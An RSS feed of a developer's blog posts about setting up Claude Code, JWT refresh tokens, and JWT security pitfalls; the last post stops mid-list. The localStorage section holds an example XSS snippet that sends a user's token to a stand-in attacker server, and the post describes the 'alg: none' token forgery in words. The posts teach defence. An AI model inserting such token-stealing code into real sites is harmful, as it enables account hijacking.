<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rahul Kumar</title>
    <description>The latest articles on DEV Community by Rahul Kumar (@rahuls24).</description>
    <link>https://dev.to/rahuls24</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F690678%2F0e3e74c2-1262-4eb0-b232-721c76e65557.jpeg</url>
      <title>DEV Community: Rahul Kumar</title>
      <link>https://dev.to/rahuls24</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rahuls24"/>
    <language>en</language>
    <item>
      <title>How I Set Up Claude to Actually Work Like My Pair Programmer</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Thu, 27 Aug 2026 16:00:56 +0000</pubDate>
      <link>https://dev.to/rahuls24/how-i-set-up-claude-to-actually-work-like-my-pair-programmer-42f8</link>
      <guid>https://dev.to/rahuls24/how-i-set-up-claude-to-actually-work-like-my-pair-programmer-42f8</guid>
      <description>&lt;p&gt;For the first few weeks with Claude Code, I used it like an overqualified search engine paste an error, grab the snippet, fix whatever it broke, and repeat. It got the job done, but it felt like pairing with a brilliant junior dev who suffered total amnesia every time I cleared the terminal. After getting fed up with constantly correcting the same package manager slip-ups and component styles, I spent a weekend configuring our repo's context files and hooks so it would actually stop behaving like a complete stranger in the codebase.&lt;/p&gt;

&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CLAUDE.md: The Baseline&lt;/li&gt;
&lt;li&gt;Rules: Hard Guardrails over General Docs&lt;/li&gt;
&lt;li&gt;Custom Skills for Repetitive Prompts&lt;/li&gt;
&lt;li&gt;Hooks as an Automated Safety Net&lt;/li&gt;
&lt;li&gt;The Plan-Build-Verify Loop&lt;/li&gt;
&lt;li&gt;What Failed (And What to Avoid)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  CLAUDE.md: The Baseline
&lt;/h2&gt;

&lt;p&gt;The single highest-leverage change was dropping a minimal &lt;code&gt;CLAUDE.md&lt;/code&gt; in the repo root. Don't write a novel here. Mine is around fifteen lines covering the core stack, package manager quirks, and test commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# Project Context&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Next.js (App Router), TypeScript, Tailwind CSS
&lt;span class="p"&gt;-&lt;/span&gt; Package manager: pnpm (never use npm or yarn)
&lt;span class="p"&gt;-&lt;/span&gt; Test runner: vitest

&lt;span class="gh"&gt;# Code Conventions&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Prefer React Server Components unless client interactivity is required
&lt;span class="p"&gt;-&lt;/span&gt; Strict TypeScript: no explicit &lt;span class="sb"&gt;`any`&lt;/span&gt;
&lt;span class="p"&gt;-&lt;/span&gt; Run &lt;span class="sb"&gt;`pnpm lint`&lt;/span&gt; before marking tasks complete

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before adding this, the CLI constantly hallucinated &lt;code&gt;npm install&lt;/code&gt; flags in our pnpm workspace and defaulted to old class-based patterns. Putting this baseline in place eliminated about 80% of trivial corrections on day one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rules: Hard Guardrails over General Docs
&lt;/h2&gt;

&lt;p&gt;Context files set the mood, but when you need strict constraints, separate rule files work much better. I keep short instructions inside &lt;code&gt;.claude/rules/&lt;/code&gt; that target specific recurring mistakes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never touch database migration files directly without explicit user confirmation.&lt;/li&gt;
&lt;li&gt;Don't leave inline comments explaining &lt;em&gt;what&lt;/em&gt; code does unless the logic is genuinely complex.&lt;/li&gt;
&lt;li&gt;Run existing test suites before and after modifying shared utility functions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every rule in that folder exists because the model burned me on something specific. If an instruction runs longer than two or three sentences, it belongs in documentation, not a rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Custom Skills for Repetitive Prompts
&lt;/h2&gt;

&lt;p&gt;If you find yourself typing the same multi-step prompt every morning, turn it into a skill. Skills are essentially reusable markdown prompt recipes that the CLI triggers on command.&lt;/p&gt;

&lt;p&gt;I set up a PR review skill (&lt;code&gt;.claude/skills/review-pr.md&lt;/code&gt;) that systematically inspects git diffs, flags missing edge cases, checks error boundaries, and surfaces security red flags before pushing. Another small one formats commit messages following our team's conventional commit schema:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="gh"&gt;# Skill: conventional-commit&lt;/span&gt;

When generating a commit message:
&lt;span class="p"&gt;1.&lt;/span&gt; Use conventional commit syntax (&lt;span class="sb"&gt;`feat:`&lt;/span&gt;, &lt;span class="sb"&gt;`fix:`&lt;/span&gt;, &lt;span class="sb"&gt;`refactor:`&lt;/span&gt;, &lt;span class="sb"&gt;`chore:`&lt;/span&gt;).
&lt;span class="p"&gt;2.&lt;/span&gt; Keep the summary line under 50 characters, present tense.
&lt;span class="p"&gt;3.&lt;/span&gt; Include a bulleted body explaining &lt;span class="ge"&gt;*why*&lt;/span&gt; the change was made if the diff spans multiple modules.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It saves only thirty seconds each time, but across fifty commits a week, that friction adds up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hooks as an Automated Safety Net
&lt;/h2&gt;

&lt;p&gt;Hooks run commands automatically on specific lifecycle events—like pre-tool execution or right after a file edit.&lt;/p&gt;

&lt;p&gt;I keep two active:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Post-edit test runner:&lt;/strong&gt; Automatically executes affected Vitest files after Claude edits them. If tests fail, it forces the model to diagnose and patch the break immediately instead of claiming success.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Formatter check:&lt;/strong&gt; Runs &lt;code&gt;prettier --write&lt;/code&gt; on touched files so diffs stay clean.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A quick word of caution: don't overbuild hooks. I initially chained five separate linters and build checks, only to spend half my afternoon debugging why the CLI was hanging on background tasks. Keep them dead simple.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Plan-Build-Verify Loop
&lt;/h2&gt;

&lt;p&gt;For multi-file refactors or new features, letting an agent blindly edit files across a repository is asking for merge conflicts. I set up a custom command (&lt;code&gt;/loop-feature&lt;/code&gt;) that enforces a strict 4-stage loop:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Plan:&lt;/strong&gt; Scan the relevant directory, map dependencies, and draft a plain-text implementation plan.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Review:&lt;/strong&gt; I inspect the plan and tweak assumptions before a single line of code is written.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execute:&lt;/strong&gt; Modify files incrementally, running tests after each file change.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Summary:&lt;/strong&gt; Print a concise diff breakdown and note any unresolved edge cases.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Catching flawed architectural assumptions during step 1 takes twenty seconds; debugging a half-broken state machine spread across eight files takes an hour.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Failed (And What to Avoid)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dumping 800-line style guides into context:&lt;/strong&gt; The model suffers context dilution and starts ignoring the critical instructions near the middle. Keep context tight and scannable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Overly broad philosophical rules:&lt;/strong&gt; Directives like "always write pure functional code" choked on our legacy object-oriented modules. Rules must be pragmatic, not ideological.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Giant prompt templates:&lt;/strong&gt; Any skill description longer than a single screen ended up getting skipped or partially hallucinated.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Start with just a 15-line &lt;code&gt;CLAUDE.md&lt;/code&gt;. Don't try to build an entire automation suite upfront—just add rules and hooks as you run into actual papercuts during your daily work. Over a couple of sprints, those small adjustments compound into an assistant that genuinely matches your engineering cadence.&lt;/p&gt;

&lt;p&gt;What’s your go-to setup for keeping CLI coding assistants from drifting off-track? Have you experimented with project-level rules or automated hooks yet? Let me know in the comments below!&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Note: The core setup, rules, and configurations in this post come directly from my own workflow experiments, but I used AI to help structure and polish the presentation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>claude</category>
      <category>productivity</category>
      <category>discuss</category>
    </item>
    <item>
      <title>Essential JWT Security (Part 2): Refresh Tokens and Revocation Made Simple</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Tue, 30 Sep 2025 07:54:02 +0000</pubDate>
      <link>https://dev.to/rahuls24/essential-jwt-security-part-2-refresh-tokens-and-revocation-made-simple-12pf</link>
      <guid>https://dev.to/rahuls24/essential-jwt-security-part-2-refresh-tokens-and-revocation-made-simple-12pf</guid>
      <description>&lt;h2&gt;
  
  
  Mastering JWT Security: Refresh Tokens, Revocation, and Real Logout
&lt;/h2&gt;

&lt;p&gt;So, before we dive in: &lt;strong&gt;here’s Part 1&lt;/strong&gt; — &lt;em&gt;Essential JWT Security Best Practices for Developers&lt;/em&gt; — check it out if you haven’t already. → &lt;a href="https://dev.to/rahuls24/essential-jwt_security_best_practices_for_developers-7k5"&gt;https://dev.to/rahuls24/essential-jwt_security_best_practices_for_developers-7k5&lt;/a&gt; ([DEV Community][1])&lt;/p&gt;




&lt;p&gt;Alright, so last time we talked about JWTs and how people (me included, years ago) manage to mess them up. LocalStorage? Bad idea. Weak secrets? Been there, done that.&lt;/p&gt;

&lt;p&gt;But here’s the thing that &lt;em&gt;really&lt;/em&gt; kept me up at night: once you hand out a JWT, how the hell do you take it back?&lt;/p&gt;

&lt;p&gt;They’re “stateless,” which sounds great on paper. Until a user clicks “log out,” closes their laptop, and then you realize… that token is still perfectly valid until it expires. If someone swiped it, they’re chilling in your app like nothing happened.&lt;/p&gt;

&lt;p&gt;That’s the “can’t take it back” problem.&lt;/p&gt;




&lt;h3&gt;
  
  
  Daily Pass vs Season Pass
&lt;/h3&gt;

&lt;p&gt;The way the pros handle it is by splitting the job in two. Think of it like theme park tickets:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  The &lt;strong&gt;access token&lt;/strong&gt; is your day pass. It works everywhere in the park, but only until the day’s over. In app terms, maybe 15 minutes. If it gets stolen, eh, it’s worthless soon anyway.&lt;/li&gt;
&lt;li&gt;  The &lt;strong&gt;refresh token&lt;/strong&gt; is the season pass. It doesn’t let you straight onto the rides — it just gets you another daily pass. This one lasts longer, maybe a week or a month, and you need to guard it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When I first heard this, it clicked. Why risk one all-powerful token when you can just rotate the short-lived one?&lt;/p&gt;




&lt;h3&gt;
  
  
  Where Do You Put These Things?
&lt;/h3&gt;

&lt;p&gt;Here’s where I see a lot of devs (and past me again) fumble: storing tokens.&lt;/p&gt;

&lt;p&gt;The rule of thumb:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Refresh token goes into an &lt;strong&gt;HttpOnly cookie&lt;/strong&gt;. This is the “special secure pocket.” Your JS can’t touch it, so XSS attacks have a harder time grabbing it.&lt;/li&gt;
&lt;li&gt;  Access token just hangs out in memory. No fancy storage. When the tab closes, poof, it’s gone.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Something like this in Express:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;issueTokens&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;refreshToken&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;secure&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;sameSite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One in the cookie jar, one in your app’s hand.&lt;/p&gt;




&lt;h3&gt;
  
  
  Keeping the User Happy
&lt;/h3&gt;

&lt;p&gt;Now, nobody wants to get booted out every 15 minutes. I built an app once that did exactly that (because I only used short-lived access tokens)… and yeah, the users hated me.&lt;/p&gt;

&lt;p&gt;The fix: refresh quietly.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  If the app starts up, or&lt;/li&gt;
&lt;li&gt;  if you hit an API and get a &lt;code&gt;401 Unauthorized&lt;/code&gt;…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…just hit your &lt;code&gt;/refresh_token&lt;/code&gt; endpoint in the background. The browser sends the refresh token cookie along, server checks it in the DB, and if it’s legit, hands you back a new access token. Your app swaps it in, retries the request, and the user has no idea anything happened. Smooth.&lt;/p&gt;




&lt;h3&gt;
  
  
  Finally: The Power to Revoke
&lt;/h3&gt;

&lt;p&gt;Here’s the best part. Because refresh tokens live in your database, you can actually take them back.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  User logs out? Kill their refresh token.&lt;/li&gt;
&lt;li&gt;  Password change? Wipe all tokens for that user.&lt;/li&gt;
&lt;li&gt;  Something sketchy going on? Nuke their tokens from orbit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And just like that, the stateless JWT problem isn’t a problem anymore. You keep the speed and scale of access tokens, but you get the control of a normal session system.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;If you’re building something serious, this setup is basically non-negotiable. I learned the hard way. Hopefully you don’t have to.&lt;/p&gt;

&lt;p&gt;The tricky part about JWTs is that they look deceptively simple at first — “just sign a token and you’re done.” But the moment you need &lt;em&gt;real-world features&lt;/em&gt; like logout, password resets, or revoking sessions on suspicious activity, you realize plain JWTs don’t cut it.&lt;/p&gt;

&lt;p&gt;That’s where the access + refresh token model shines. It gives you speed and statelessness where you want it, but control when you need it.&lt;/p&gt;

&lt;p&gt;If you’ve made it this far, I’d say you’re already ahead of the curve — most apps in the wild are still doing the bare-minimum JWT setup. Get this part right, and you’ll save yourself a lot of late-night “why is this user still logged in?!”&lt;/p&gt;

&lt;p&gt;And hey, if you’ve got your own battle stories or tricks for handling JWTs, I’d love to hear them in the comments. That’s how we all level up together.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>security</category>
      <category>javascript</category>
      <category>authentication</category>
    </item>
    <item>
      <title>Essential JWT Security Best Practices for Developers</title>
      <dc:creator>Rahul Kumar</dc:creator>
      <pubDate>Sat, 27 Sep 2025 01:23:12 +0000</pubDate>
      <link>https://dev.to/rahuls24/essential-jwt-security-best-practices-for-developers-7k5</link>
      <guid>https://dev.to/rahuls24/essential-jwt-security-best-practices-for-developers-7k5</guid>
      <description>&lt;h3&gt;
  
  
  JWT Security for Devs: Avoiding the Common Traps
&lt;/h3&gt;

&lt;p&gt;JSON Web Tokens (JWTs) are everywhere these days. If you're building a web app, you've probably run into them. They're popular for handling logins because they're simple and don't require the server to keep track of who's logged in.&lt;/p&gt;

&lt;p&gt;But here's the catch: that simplicity can be misleading. It’s easy to make a small mistake with JWTs that quietly blows a huge hole in your app's security. It's a classic case of a tool being only as safe as the person using it.&lt;/p&gt;

&lt;p&gt;So, let's skip the dry textbook stuff and talk about the real-world traps that can get you into trouble.&lt;/p&gt;




&lt;h4&gt;
  
  
  Quick Refresher: What's a JWT, Really?
&lt;/h4&gt;

&lt;p&gt;You've seen that long string of jumbled characters with two dots in the middle. It looks like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&amp;lt;Header&amp;gt;.&amp;lt;Payload&amp;gt;.&amp;lt;Signature&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Think of a JWT as a temporary ID card.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Header&lt;/strong&gt;: This is like the fine print on the card, saying what kind of card it is and how it was made (e.g., &lt;code&gt;"alg": "HS256"&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload&lt;/strong&gt;: This is the actual info on the card, like your &lt;code&gt;userId&lt;/code&gt; and what you're allowed to do (&lt;code&gt;roles&lt;/code&gt;). &lt;strong&gt;Crucially, this part is not secret.&lt;/strong&gt; It's just scrambled in a way that anyone can unscramble (Base64 encoded). Think of it like a postcard—the mailman can read it, so never put passwords or credit card numbers here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signature&lt;/strong&gt;: This is the tamper-proof hologram on the ID card. It proves that the information on the card is legit and hasn't been messed with.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A common myth is that JWTs are automatically secure because of this signature. But the signature only proves the token is authentic. Its real security depends entirely on how you create it, where you keep it, and how you check it.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #1: Leaving Your Key Under the Doormat (&lt;code&gt;localStorage&lt;/code&gt;)
&lt;/h3&gt;

&lt;p&gt;Honestly, the most frequent mistake is storing the JWT in &lt;code&gt;localStorage&lt;/code&gt;. So many online tutorials show you this method because it’s easy.&lt;/p&gt;

&lt;p&gt;And yeah, it works. You log in, you stash the token with &lt;code&gt;localStorage.setItem('token', jwt)&lt;/code&gt;, and you're good to go. The problem is, &lt;code&gt;localStorage&lt;/code&gt; is like a public bulletin board for your website. Any piece of JavaScript running on your page can read what's on it. This makes it a goldmine for Cross-Site Scripting (XSS) attacks.&lt;/p&gt;

&lt;p&gt;Imagine a hacker finds a tiny crack in your site—maybe a leaky comment box or a shady third-party ad. All they have to do is inject a little bit of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// A hacker's sneaky code on your site&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// And just like that, they've mailed your user's token to their own server.&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://attackers-evil-server.com/steal&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Boom. They've just hijacked a user's account.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Use &lt;code&gt;HttpOnly&lt;/code&gt; cookies instead. Think of an &lt;code&gt;HttpOnly&lt;/code&gt; cookie as a special, secure pocket. The browser can put the token in there and show it to the server with every request, but your website's JavaScript code can't reach in and grab it. This single change shuts down this entire type of attack.&lt;/p&gt;

&lt;p&gt;When you set the cookie on your server, be strict about it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example in Express.js&lt;/span&gt;
&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;httpOnly&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;// The magic ingredient! Blocks JavaScript.&lt;/span&gt;
  &lt;span class="na"&gt;secure&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;        &lt;span class="c1"&gt;// Only send it over secure HTTPS connections.&lt;/span&gt;
  &lt;span class="na"&gt;sameSite&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Strict&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;   &lt;span class="c1"&gt;// Helps protect against another attack called CSRF.&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a much safer way to start.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #2: The "Trust Me, Bro" Algorithm
&lt;/h3&gt;

&lt;p&gt;This is an oldie but a goodie. Some older JWT libraries had a weird flaw. You could create a token and in the header, set the algorithm to &lt;code&gt;"alg": "none"&lt;/code&gt;. If the server wasn't specifically told to reject this, it would just... accept the token. No signature check, no questions asked.&lt;/p&gt;

&lt;p&gt;An attacker could grab a token, decode it, change the user ID to "admin," and set the algorithm to &lt;code&gt;"none"&lt;/code&gt;. Then they'd chop off the signature part.&lt;/p&gt;

&lt;p&gt;If your server blindly trusted the header, the attacker would instantly be an admin. It’s like showing a bouncer a ticket that says, "No signature required," and having them just wave you in.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Modern tools are better about this, but you should always be cautious. Don't be so trusting! When you check a token, tell your server exactly which algorithms you allow.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// "I will ONLY accept tokens signed with HS256 or RS256."&lt;/span&gt;
&lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;algorithms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;HS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;RS256&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #3: Using "password123" as Your Secret
&lt;/h3&gt;

&lt;p&gt;The signature's strength depends entirely on how good your secret key is. If a hacker can guess your secret, they can create their own perfect, valid tokens for any user with any permissions they want. It’s like they have a master key to your entire application.&lt;/p&gt;

&lt;p&gt;You’d be shocked how many projects use simple secrets like &lt;code&gt;"secret"&lt;/code&gt;, &lt;code&gt;"password"&lt;/code&gt;, or &lt;code&gt;"123456"&lt;/code&gt;, especially during development, and then forget to change them. Hackers have tools that do nothing but try thousands of these common secrets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Your secret should be a long, random, meaningless string of characters. More importantly, &lt;strong&gt;never write it directly in your code&lt;/strong&gt;. Store it in a config file that isn't checked into version control (like an environment variable) or use a proper secret manager.&lt;/p&gt;




&lt;h3&gt;
  
  
  Trap #4: The Token That Lives Forever
&lt;/h3&gt;

&lt;p&gt;One of the features of JWTs is that the server doesn't have to remember them. But this creates a problem: once you issue a token, it’s good until it expires. If you forget to set an expiration date, you've just created a "forever token."&lt;/p&gt;

&lt;p&gt;This is incredibly risky. If that token is ever stolen, the attacker has access to that user's account forever. Even if the user changes their password, that old stolen token still works. It's like a house key you can never, ever change.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Fix:&lt;/strong&gt; Always give your tokens an expiration date (&lt;code&gt;exp&lt;/code&gt;). A good strategy is to issue short-lived "access tokens" (good for maybe 15 minutes) and long-lived "refresh tokens." This way, if an access token gets stolen, the damage is limited because it will be useless in a few minutes.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// This token will self-destruct in one hour.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;expiresIn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1h&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Trap #5: Forgetting to Read the Fine Print
&lt;/h3&gt;

&lt;p&gt;Checking the signature is just step one. The payload has other useful bits of info that people often ignore, like &lt;code&gt;iss&lt;/code&gt; (who issued it) and &lt;code&gt;aud&lt;/code&gt; (who it's for).&lt;/p&gt;

&lt;p&gt;Think of it this way: a ticket to a concert is only valid if it's for the right venue (&lt;code&gt;aud&lt;/code&gt;) and was issued by a legitimate ticket seller (&lt;code&gt;iss&lt;/code&gt;). You can't use a ticket for a Taylor Swift concert to get into a Metallica show.&lt;/p&gt;

&lt;p&gt;This is super important in modern apps where different services talk to each other. If you don't check these, an attacker might be able to get a token from a low-security part of your app (like a "contact us" form) and use it to access a high-security part (like user profile settings).&lt;/p&gt;

